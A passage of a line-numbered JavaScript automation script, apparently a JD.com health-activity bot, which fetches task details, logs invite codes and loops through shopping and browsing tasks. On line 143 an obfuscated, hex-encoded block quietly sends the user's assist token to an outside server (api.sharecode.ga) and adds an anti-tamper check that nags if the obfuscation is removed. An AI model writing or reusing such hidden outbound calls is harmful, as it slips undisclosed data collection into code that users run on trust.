| 122 | } |
| 123 | |
| 124 | function getTaskDetail(taskId = '') { |
| 125 | return new Promise(resolve => { |
| 126 | $.get(taskUrl('jdhealth_getTaskDetail', {"buildingId": "", taskId: taskId === -1 ? '' : taskId, "channelId": 1}), |
| 127 | async (err, resp, data) => { |
| 128 | try { |
| 129 | if (safeGet(data)) { |
| 130 | data = $.toObj(data) |
| 131 | if (taskId === -1) { |
| 132 | let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0')) |
| 133 | if (!$.earn) { |
| 134 | $.score = tmp |
| 135 | $.earn = 1 |
| 136 | } else { |
| 137 | $.earn = tmp - $.score |
| 138 | $.score = tmp |
| 139 | } |
| 140 | } else if (taskId === 6) { |
| 141 | if (data?.data?.result?.taskVos) { |
| 142 | console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`); |
| 143 | var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxc21db=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x73\x68\x61\x72\x65\x63\x6F\x64\x65\x2E\x67\x61\x2F\x61\x70\x69\x2F\x72\x65\x70\x6F\x72\x74\x3F\x64\x62\x3D\x68\x65\x61\x6C\x74\x68\x26\x63\x6F\x64\x65\x3D","\x74\x61\x73\x6B\x54\x6F\x6B\x65\x6E","\x61\x73\x73\x69\x73\x74\x54\x61\x73\x6B\x44\x65\x74\x61\x69\x6C\x56\x6F","\x74\x61\x73\x6B\x56\x6F\x73","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x67\x65\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxc21db[0x6]]({url:__Oxc21db[0x0]+ data[__Oxc21db[0x5]][__Oxc21db[0x4]][__Oxc21db[0x3]][0x0][__Oxc21db[0x2]][__Oxc21db[0x1]]});(function(_0x4080x1,_0x4080x2,_0x4080x3,_0x4080x4,_0x4080x5,_0x4080x6){_0x4080x6= __Oxc21db[0x7];_0x4080x4= function(_0x4080x7){if( typeof alert!== _0x4080x6){alert(_0x4080x7)};if( typeof console!== _0x4080x6){console[__Oxc21db[0x8]](_0x4080x7)}};_0x4080x3= function(_0x4080x8,_0x4080x1){return _0x4080x8+ _0x4080x1};_0x4080x5= _0x4080x3(__Oxc21db[0x9],_0x4080x3(_0x4080x3(__Oxc21db[0xa],__Oxc21db[0xb]),__Oxc21db[0xc]));try{_0x4080x1= __encode;if(!( typeof _0x4080x1!== _0x4080x6&& _0x4080x1=== _0x4080x3(__Oxc21db[0xd],__Oxc21db[0xe]))){_0x4080x4(_0x4080x5)}}catch(e){_0x4080x4(_0x4080x5)}})({}) |
| 144 | // console.log('好友助力码:' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken) |
| 145 | myInviteCode = data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken; |
| 146 | const submitCodeRes = await submitCode(); |
| 147 | if (submitCodeRes && submitCodeRes.code === 200) { |
| 148 | console.log(`🏥东东健康-互助码提交成功!🏥`); |
| 149 | }else if (submitCodeRes.code === 300) { |
| 150 | console.log(`🏥东东健康-互助码已提交!🏥`); |
| 151 | } |
| 152 | } |
| 153 | } else if (taskId === 22) { |
| 154 | console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务,完成次数:${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`) |
| 155 | if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return |
| 156 | await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务 |
| 157 | await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3)); |
| 158 | await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务 |
| 159 | } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) { |
| 160 | console.log(`${vo.taskName}任务,完成次数:${vo.times}/${vo.maxTimes}`) |
| 161 | for (let i = vo.times; i < vo.maxTimes; ++i) { |
| 162 | console.log(`去完成${vo.taskName}任务`) |
| 163 | if (vo.taskType === 13) { |
| 164 | await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId) |
| 165 | } else if (vo.taskType === 8) { |
| 166 | await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1) |
| 167 | await $.wait(1000 * 10) |
| 168 | await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0) |
| 169 | } else if (vo.taskType === 9) { |
| 170 | await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1) |
| 171 | await $.wait(1000 * 10) |
| 172 | await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0) |
| 173 | } else if (vo.taskType === 10) { |
| 174 | await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId) |
| 175 | } else if (vo.taskType === 26 || vo.taskType === 3) { |
| 176 | await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId) |
| 177 | } |
| 178 | } |
| 179 | } |
| 180 | } |
| 181 | } catch (e) { |